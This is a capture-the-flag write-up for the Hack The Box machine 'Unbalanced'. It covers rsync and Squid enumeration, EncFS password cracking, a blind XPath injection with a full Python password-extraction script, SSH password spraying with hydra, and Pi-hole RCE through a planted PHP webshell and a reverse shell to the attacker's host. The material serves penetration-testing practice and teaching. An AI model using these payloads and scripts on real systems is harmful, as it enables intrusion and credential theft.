Unbalanced

Unbalanced is a hard linux box by polarbearer and GibParadox.

Overview

The box starts with rsync enumeration, where we find EncFS-encrypted configuration files. Cracking the EncFS password, we get access to the configuration files, which leak credentials for the http-proxy. Using the credentials, we can connect to the http-proxy and use fqdncache to read the DNS-cache of the proxy. This gives us multiple internal hosts that are accessible through the proxy. There seems to be multiple instances of the same website running in order to do load-balancing. As “host2” and “host3” are available, accessing host1 (which is shown to be inaccessible due to maintenance) gives us access to an unpatched version of the website. Enumerating the login prompt, we find a XPath-injection vulnerability, which we can use to leak the passwords of all users in the database. Using these credentials, we can test them against SSH using hydra, which returns a valid login. Using the credentials, we can ssh into the machine and can read user.txt.

Enumerating the system for a privilege-escalation-vector, we find that a Pi-Hole instance seem to be installed on the network. Checking the arp-table, we can find an additional host on the system. This host seems to be running the Pi-Hole installation. Using default creds, we can login to the admin-panel and find that a vulnerable version of Pi-Hole is installed. Exploiting the Pi-Hole vulnerability, we get remote-code-execution on the system.

Enumerating the Pi-Hole system, we find a installation-script, which contains hard-coded credentials. Using these credentials, we can su to root and read root.txt.

Information Gathering

Nmap

We begin our enumeration with a nmap scan for open ports.

root@darkness:~# nmap -sC -sV 10.10.10.200
Nmap scan report for 10.10.10.200
Host is up (0.049s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 a2:76:5c:b0:88:6f:9e:62:e8:83:51:e7:cf:bf:2d:f2 (RSA)
|   256 d0:65:fb:f6:3e:11:b1:d6:e6:f7:5e:c0:15:0c:0a:77 (ECDSA)
|_  256 5e:2b:93:59:1d:49:28:8d:43:2c:c1:f7:e3:37:0f:83 (ED25519)
873/tcp  open  rsync      (protocol version 31)
3128/tcp open  http-proxy Squid http proxy 4.6
|_http-server-header: squid/4.6
|_http-title: ERROR: The requested URL could not be retrieved
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeration

The open ports shown are 22 (ssh), 873 (rsync) and 3128 (http-proxy). Both rsync and http-proxy seems interesting. Let us start our enumeration with rsync.

rsync - Port 873

Let us start by listing the available files.

root@darkness:~# rsync -a rsync://10.10.10.200:873 --list-only
conf_backups    EncFS-encrypted configuration backups

Seems like we have a EncFS-encrypted configuration backup. Let us sync the file to get a better look at it.

root@darkness:~# rsync -av rsync://10.10.10.200:873/conf_backups rsync/
receiving incremental file list
created directory rsync
./
,CBjPJW4EGlcqwZW4nmVqBA6
-FjZ6-6,Fa,tMvlDsuVAO7ek
.encfs6.xml
0K72OfkNRRx3-f0Y6eQKwnjn
27FonaNT2gnNc3voXuKWgEFP4sE9mxg0OZ96NB0x4OcLo-
[...]
uEtPZwC2tjaQELJmnNRTCLYU
vCsXjR1qQmPO5g3P3kiFyO84
waEzfb8hYE47wHeslfs1MvYdVxqTtQ8XGshJssXMmvOsZLhtJWWRX31cBfhdVygrCV5

sent 1,452 bytes  received 411,990 bytes  35,951.48 bytes/sec
total size is 405,603  speedup is 0.98

We receive the encrypted backups. Now we have to find a way to decrypt the files.

Cracking EncFS password

A quick google search reveals that John is capable to crack the EncFS system, if the .encfs6.xml file is available. (According to this StackExchange Thread).

For this, we have to use encfs2john to extract the hash, that we can then crack.

root@darkness:~# /usr/share/john/encfs2john.py rsync/ > encfs6.xml.john
root@darkness:~# cat encfs6.xml.john 
rsync/:$encfs$192*580280*0*20*99176a6e4d96c0b32bad9d4feb3d8e425165f105*44*1b2a580dea6cda1aedd96d0b72f43de132b239f51c224852030dfe8892da2cad329edc006815a3e84b887add

Now that we have extracted the hash, let us use john to crack it.

root@darkness:~# john encfs6.xml.john -w=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (EncFS [PBKDF2-SHA1 256/256 AVX2 8x AES])
bubblegum        (rsync/)

We successfully crack the password used: bubblegum. Now let us decrypt the files.

Decrypting the backup-files

root@darkness:~# encfs $(pwd)/rsync /mnt/encfs
The directory "/mnt/encfs/" does not exist. Should it be created? (y,N) Y
EncFS Password: bubblegum

We successfully decrypt the backup and are now able to read all files:

root@darkness:/mnt/encfs# ls -lah
total 628K
drwxr-xr-x 2 root root 4.0K Apr  4  2020 .
drwxr-xr-x 4 root root 4.0K Dec  2 13:33 ..
-rw-r--r-- 1 root root  267 Apr  4  2020 50-localauthority.conf
-rw-r--r-- 1 root root  455 Apr  4  2020 50-nullbackend.conf
-rw-r--r-- 1 root root   48 Apr  4  2020 51-debian-sudo.conf
-rw-r--r-- 1 root root  182 Apr  4  2020 70debconf
-rw-r--r-- 1 root root 2.3K Apr  4  2020 99-sysctl.conf
-rw-r--r-- 1 root root 4.5K Apr  4  2020 access.conf
-rw-r--r-- 1 root root 3.0K Apr  4  2020 adduser.conf
[...]
-rw-r--r-- 1 root root  677 Apr  4  2020 timesyncd.conf
-rw-r--r-- 1 root root 1.3K Apr  4  2020 ucf.conf
-rw-r--r-- 1 root root  281 Apr  4  2020 udev.conf
-rw-r--r-- 1 root root  378 Apr  4  2020 update-initramfs.conf
-rw-r--r-- 1 root root 1.2K Apr  4  2020 user.conf
-rw-r--r-- 1 root root  414 Apr  4  2020 user-dirs.conf
-rw-r--r-- 1 root root 1.9K Apr  4  2020 Vendor.conf
-rw-r--r-- 1 root root 1.5K Apr  4  2020 wpa_supplicant.conf
-rw-r--r-- 1 root root  100 Apr  4  2020 x86_64-linux-gnu.conf
-rw-r--r-- 1 root root  642 Apr  4  2020 xattr.conf

Looking through the files we can find a interesting information:

root@darkness:/mnt/encfs# cat squid.conf
#       WELCOME TO SQUID 4.6
#       ----------------------------
#
#       This is the documentation for the Squid configuration file.
#       This documentation can also be found online at:
#               http://www.squid-cache.org/Doc/config/
[...]
# Only allow cachemgr access from localhost
#http_access allow localhost manager
#http_access deny manager
http_access allow manager
[...]
# Allow access to intranet
acl intranet dstdomain -n intranet.unbalanced.htb
acl intranet_net dst -n 172.16.0.0/12
http_access allow intranet
http_access allow intranet_net

# And finally deny all other access to this proxy
http_access deny all
[...]
#Example:
# cachemgr_passwd secret shutdown
# cachemgr_passwd lesssssssecret info stats/objects
# cachemgr_passwd disable all
#Default:
# No password. Actions which require password are denied.
cachemgr_passwd Thah$Sh1 menu pconn mem diskd fqdncache filedescriptors objects vm_objects counters 5min 60min histograms cbdata sbuf events

The squid.conf file is very interesting. Not only does this probably mean that squid 4.6 is running as the http-proxy, but we also know how it is setup.

It seems like we are able to access cachemgr and have access to the intranet. (Domain: intranet.unbalanced.htb) Finally, we have a password: Thah$Sh1, which we can use to access the proxy.

Let us setup the proxy and try to access the intranet.

http-proxy - Port 3128

As we have access to the proxy and are allowed to run fqdncache, we can list all cached DNS-entries of the proxy, potentially leaking more hostnames.

root@darkness:~# squidclient -h 10.10.10.200 -p 3128 -w 'Thah$Sh1' mgr:fqdncache
squidclient -h 10.10.10.200 -p 3128 -w 'Thah$Sh1' mgr:fqdncache
HTTP/1.1 200 OK
[...]
FQDN Cache Statistics:
FQDNcache Entries In Use: 9
FQDNcache Entries Cached: 8
FQDNcache Requests: 104
FQDNcache Hits: 0
FQDNcache Negative Hits: 0
FQDNcache Misses: 104
FQDN Cache Contents:

Address                                       Flg TTL Cnt Hostnames
127.0.1.1                                       H -001   2 unbalanced.htb unbalanced
::1                                             H -001   3 localhost ip6-localhost ip6-loopback
172.31.179.2                                    H -001   1 intranet-host2.unbalanced.htb
172.31.179.3                                    H -001   1 intranet-host3.unbalanced.htb
127.0.0.1                                       H -001   1 localhost
172.17.0.1                                      H -001   1 intranet.unbalanced.htb
ff02::1                                         H -001   1 ip6-allnodes
ff02::2                                         H -001   1 ip6-allrouters

Additionally to intranet.unbalanced.htb, we get two new hostnames: intranet-host2.unbalanced.htb and intranet-host3.unbalanced.htb. Let us now setup the http-proxy and access these hosts.

Setting up the http-proxy

In order to easily browse the intranet using the http-proxy, we can setup the proxy using FoxyProxy.

First we create a new proxy by using the Add option.

Adding new proxy

We add a new proxy with the IP, Port and Password that we gathered earlier. Now in order to only route traffic through this proxy that actually goes to the machine, we can add a pattern.

Adding pattern

We add a pattern that everything matching the wildcard *unbalanced.htb or the specified IPs, will be routed through the proxy.

With this set, we can have multiple proxies available at a time:

All proxies setup

With this setup, all *.htb will be routed to Burp (except the *unbalanced.htbones). Everything going through the net, will be routed to No Proxy and everything going to localhost will go through the Socks5 proxy.

Now with the proxy setup, we can access the intranet webpage.

Enumerating intranet.unbalanced.htb

Going to http://intranet.unbalanced.htb/, http://172.17.0.1, http://172.31.179.2 or http://172.17.179.3 we get redirected to /intranet.php and get shown following page:

Intranet webpage

As all hosts show the same webpage (and because of the name of the box), I assume that the other hosts are used for load-balancing.

Now as http://172.31.179.2 and http://172.17.179.3 is available, what does http://172.31.179.1 do? Let us access the ip to find out.

Going to http://172.31.179.1, we get shown following error:

Temporary down error

This sounds very interesting! Let us enumerate this host with a gobuster.

root@darkness:~# gobuster dir -u http://172.31.179.1/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -f -x php,txt --proxy http://10.10.10.200:3128
[...]
===============================================================
/index.php (Status: 200)
/css/ (Status: 403)            
/intranet.php (Status: 200)

The gobuster eventually showed /intranet.php, which was already known to us. Seems like the intranet is still available even though the index page said the host was down? Let us enumerate the intranet of the host 172.31.179.1.

Enumerating host 172.31.179.1

As login seems to be the only interesting part, let us try default credentials and basic SQL-injection payloads.

Default creds login

When trying some default credentials, we get Invalid credentials as the response. Let us try ' next and see how the application behaves.

Quote login

When using single-quotes, we do not get Invalid credentials as a response. There seems to be some sort of boolean/error-based injection.

Let us try ' or '1'='1 as a payload next.

Injection payload

We seem to leak all database-entries using this payload. However, we do not have any password that would be of value yet. Let us try to get credentials by using this injection.

After a lot of trying I eventually came to the conclusion that this is no SQL-like-injection. A bit of research revealed, that this is probably a XPATH injection. We can use the payloads from PayloadsAllTheThings.

Exploiting the XPATH injection

Using the payload: <USERNAME>' and starts-with(Password, '<PART-OF-PASSWORD>') or '1'='1 we can slowly leak the password of the specified user.

In order to exploit the XPATH-injection, I created a simple python script, which is available on my GitHub. For this we need a couple of functions.

First, we create a function to simply send requests to the login form and return the html.

# Send POST-request
def send_req(username:str="",password:str="") -> str:
    data = {
        'Username':username,
        'Password':password
    }
    return requests.post(url, data=data, proxies=proxy).text

Next, we create a function to parse the usernames.

# Returns all usernames
def get_users() -> list:
    html = send_req("' or '1'='1","' or '1'='1")
    # Parse usernames
    soup = BeautifulSoup(html, 'html.parser')
    usernames = []
    # Usernames are in a <p class="w3-opacity"> element
    [usernames.append(p.text.strip()) for p in soup.find_all('p', {"class": "w3-opacity"})]
    return sorted(usernames) # Sort list by alphabet

Next, we define a function to check if the password was ok.

# Returns True if part of password is OK
def check_pw(payload:str="") -> bool:
    return "Invalid credentials" not in send_req(username=payload)

Now we create a function to get the password for the specified user.

# Gets password of specified user
def get_password(user:str) -> str:
    password = ""
    while True:
        for char in string.printable.strip():
            # Skip single-quote, as it break query
            if char == "'":
                continue
            # Payload to get password char-by-char
            payload = f"{user}' and starts-with(Password, '{password}{char}') or '1'='1"
            try:
                # Check if current char is valid
                if check_pw(payload=payload):
                    clear()
                    password += char
                    print(f"[*] Password: {password}")
                    break
            except Exception as ex:
                print(f"[!] Error: {ex}")
                break
        else: # No char valid, password done
            break
    clear()
    return password

Finally, we create the main function.

if __name__ == "__main__":
    usernames = get_users()
    creds = [] # List of all creds, can be used to write to file
    for user in usernames:
        print(f"[*] Getting password of {user}...\n")
        pw = get_password(user)
        clear()
        print(f"[+] Got password of {user}: {pw}")
        creds.append([user,pw])
    
    # Write creds to file
    with open("wordlist.txt", "w") as file:
        for cred in creds:
            file.write(f"{cred[0]}:{cred[1]}")

Now we can run the exploit to get all usernames:

Running the exploit

root@darkness:~# python3 exploit.py
[+] Got password of bryan: ireallyl0vebubblegum!!!
[+] Got password of jim: stairwaytoheaven
[+] Got password of rita: password01!
[+] Got password of sarah: sarah4evah

We now have four sets of credentials.

Password-spraying

Let us use hydra to test the found username-password sets against SSH.

root@darkness:~# hydra -C wordlist.txt ssh://10.10.10.200
[DATA] max 4 tasks per 1 server, overall 4 tasks, 4 login tries, ~1 try per task
[DATA] attacking ssh://10.10.10.200:22/
[22][ssh] host: 10.10.10.200   login: bryan   password: ireallyl0vebubblegum!!!
1 of 1 target successfully completed, 1 valid password found

Seems like we have a valid login with the user bryan.

Getting user

Let us use the creds and login via ssh.

root@darkness:~# ssh bryan@10.10.10.200
bryan@10.10.10.200 password: ireallyl0vebubblegum!!!
Linux unbalanced 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Jun 17 14:16:06 2020 from 10.10.10.4
bryan@unbalanced:~$

We are able to login via ssh and can read user.txt.

bryan@unbalanced:~$ cat user.txt 
2de5a***************************

Privesc - Root

Now that we have user, let us enumerate the system to find a privesc-vector to root.

Enumeration as bryan

Let us check out the home folder of bryan first:

bryan@unbalanced:~$ ls
TODO  user.txt
bryan@unbalanced:~$ cat TODO
############
# Intranet #
############
* Install new intranet-host3 docker [DONE]
* Rewrite the intranet-host3 code to fix Xpath vulnerability [DONE]
* Test intranet-host3 [DONE]
* Add intranet-host3 to load balancer [DONE]
* Take down intranet-host1 and intranet-host2 from load balancer (set as quiescent, weight zero) [DONE]
* Fix intranet-host2 [DONE]
* Re-add intranet-host2 to load balancer (set default weight) [DONE]
- Fix intranet-host1 [TODO]
- Re-add intranet-host1 to load balancer (set default weight) [TODO]

###########
# Pi-hole #
###########
* Install Pi-hole docker (only listening on 127.0.0.1) [DONE]
* Set temporary admin password [DONE]
* Create Pi-hole configuration script [IN PROGRESS]
- Run Pi-hole configuration script [TODO]
- Expose Pi-hole ports to the network [TODO]

Seems like there is Pi-hole installed on the system.

Let us check out all listening TCP-ports to see where Pi-hole is running.

bryan@unbalanced:~$ ss -tlnp
State          Recv-Q         Send-Q                   Local Address:Port                   Peer Address:Port         
LISTEN         0              5                              0.0.0.0:873                         0.0.0.0:*            
LISTEN         0              128                          127.0.0.1:8080                        0.0.0.0:*            
LISTEN         0              128                          127.0.0.1:5553                        0.0.0.0:*            
LISTEN         0              32                             0.0.0.0:53                          0.0.0.0:*            
LISTEN         0              128                            0.0.0.0:22                          0.0.0.0:*            
LISTEN         0              5                                 [::]:873                            [::]:*            
LISTEN         0              32                                [::]:53                             [::]:*            
LISTEN         0              128                               [::]:22                             [::]:*            
LISTEN         0              128                                  *:3128                              *:*

Port 8080 seems to be a good guess. Let us setup SOCKS-proxy using SSH.

Privesc - Pi-hole

Accessing Pi-hole

ssh bryan@10.10.10.200 -D 1080
bryan@10.10.10.200 password: ireallyl0vebubblegum!!!

Accessing the port using the socks proxy:

Access via localhost

Seems like we are unable to access via 127.0.0.1. Let us search for the IP-address of the docker-container. We can check the arp-table of the host to see other machines on the network.

bryan@unbalanced:~$ ip neighbor
10.10.10.2 dev ens160 lladdr 00:50:56:b9:0d:fa REACHABLE
172.31.11.3 dev br-742fc4eb92b1 lladdr 02:42:ac:1f:0b:03 STALE
fe80::250:56ff:feb9:dfa dev ens160 lladdr 00:50:56:b9:0d:fa router STALE

Seems like 172.31.11.3 is another host in the network. Let us try to access the host.

bryan@unbalanced:~$ nc 172.31.11.3 8080
(UNKNOWN) [172.31.11.3] 8080 (http-alt) : Connection refused

Seems like port 8080 is not open. Let us run a quick port scan using proxychains.

root@darkness:~# proxychains -q nmap 172.31.11.3 -sT -Pn -n
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Nmap scan report for 172.31.11.3
Host is up (0.048s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE
53/tcp open  domain
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 69.39 seconds

Seems like port 80 is open. Let us try to connect to the host using our SOCKS proxy.

Access via ip

Seems like we are able to access the Pi-hole now. Let us enumerate the Pi-hole.

Enumerating Pi-hole

We can login to the /admin panel using the password: admin.

Pi-hole version

Seems like Pi-hole version v4.3.1 is installed.

Searching for exploits, I came across this article, which shows how to get RCE on Pi-hole. There is also an exploit-code available.

Manual exploitation

In order to manually exploit, we have to do a couple of steps:

  1. Go to Setting -> Blocklist and enter following payload.

Step 1

  1. Starting a listener on port 80 and send 200-OK response with blob-data upon receiving request.
root@darkness:~# nc -lvnp 80
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.10.10.200.
Ncat: Connection from 10.10.10.200:59982.
GET / HTTP/1.1
Host: 10.10.14.22
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Accept: */*

HTTP/1.1 200 OK

chronos chronos

^C
  1. Start listener on port 80again
  2. Upon redirection click on update button

Pi-hole version

  1. Send php webshell (or reverse-shell) as response upon request:
root@darkness:~# nc -lvnp 80
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.10.10.200.
Ncat: Connection from 10.10.10.200:60002.
POST / HTTP/1.1
Host: 10.10.14.22
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Accept: */*
Content-Length: 8
Content-Type: application/x-www-form-urlencoded

.domains
<?php system($_REQUEST['cmd'])?>

^C

Webshell/reverse-shell is now available at:

RCE

We successfully get code-execution.

Automatic exploitation

I have created an exploit-script based on the steps above. It is available on my GitHub.

root@darkness:~# python3 exploit.py 
[+] Got session-cookie: PHPSESSID=eflcgeupmevesfj6f616286e25
[+] Webshell uploaded successfully!
[*] Sending reverse-shell to 10.10.14.22:443
cmd> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Running the exploit, we get a webshell, as well as a reverse-shell (if we listen on port 443).

root@darkness:~# nc -lvnp 443
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.200.
Ncat: Connection from 10.10.10.200:49032.
bash: cannot set terminal process group (526): Inappropriate ioctl for device
bash: no job control in this shell
www-data@pihole:/var/www/html/admin/scripts/pi-hole/php$

Enumerating docker-instance

Now that we have a shell on the docker-instance, let us enumerate it to find a possible privesc-vector.

Let us check out the root of the docker-instance.

www-data@pihole:/$ ls -lh 
total 132K
-rw-rw-r--   1 root root  14K Jun  2  2019 bash_functions.sh
drwxr-xr-x   1 root root  12K Sep 20  2019 bin
drwxr-xr-x   2 root root 4.0K Sep  8  2019 boot
drwxr-xr-x   5 root root  360 Dec  2 15:41 dev
drwxrwxr-x   1 root root 4.0K Dec  2 15:41 etc
drwxr-xr-x   2 root root 4.0K Sep  8  2019 home
drwxr-xr-x   1 root root 4.0K Sep 20  2019 lib
drwxr-xr-x   2 root root 4.0K Sep 10  2019 lib64
drwxr-xr-x   2 root root 4.0K Sep  9  2018 libexec
drwxr-xr-x   2 root root 4.0K Sep 10  2019 media
drwxr-xr-x   2 root root 4.0K Sep 10  2019 mnt
drwxr-xr-x   1 root root 4.0K Sep 20  2019 opt
-rw-r--r--   1 root root  14K Sep 20  2019 pihole-install.log
dr-xr-xr-x 244 root root    0 Dec  2 15:41 proc
drwxrwxr-x   1 root root 4.0K Apr  5  2020 root
drwxr-xr-x   1 root root 4.0K Dec  2 15:41 run
-rwxr-xr-x   1 root root  389 Sep  9  2018 s6-init
drwxr-xr-x   1 root root 4.0K Sep 20  2019 sbin
drwxr-xr-x   2 root root 4.0K Sep 10  2019 srv
-rwxrwxr-x   1 root root 1.9K Sep 17  2019 start.sh
dr-xr-xr-x  13 root root    0 Dec  2 18:30 sys
drwxrwxrwt   1 root root 4.0K Dec  2 18:30 tmp
drwxrwxr-x   1 root root 4.0K Sep 20  2019 usr
drwxr-xr-x   1 root root 4.0K Sep 20  2019 var

Seems like we are able to read /root folder.

www-data@pihole:/$ ls root/
ph_install.sh
pihole_config.sh
www-data@pihole:/$ cat root/pihole_config.sh
#!/bin/bash

# Add domains to whitelist
/usr/local/bin/pihole -w unbalanced.htb
/usr/local/bin/pihole -w rebalanced.htb

# Set temperature unit to Celsius
/usr/local/bin/pihole -a -c

# Add local host record
/usr/local/bin/pihole -a hostrecord pihole.unbalanced.htb 127.0.0.1

# Set privacy level
/usr/local/bin/pihole -a -l 4

# Set web admin interface password
/usr/local/bin/pihole -a -p 'bUbBl3gUm$43v3Ry0n3!'

# Set admin email
/usr/local/bin/pihole -a email admin@unbalanced.htb

Looking at the pihole_config.sh script, we get credentials bUbBl3gUm$43v3Ry0n3!.

Getting shell as root

Let us try the found credentials for root.

bryan@unbalanced:~$ su root
Password: bUbBl3gUm$43v3Ry0n3!
root@unbalanced:/home/bryan#

We successfully su to root and can read root.txt.

root@unbalanced:~# cat root.txt 
05caa***************************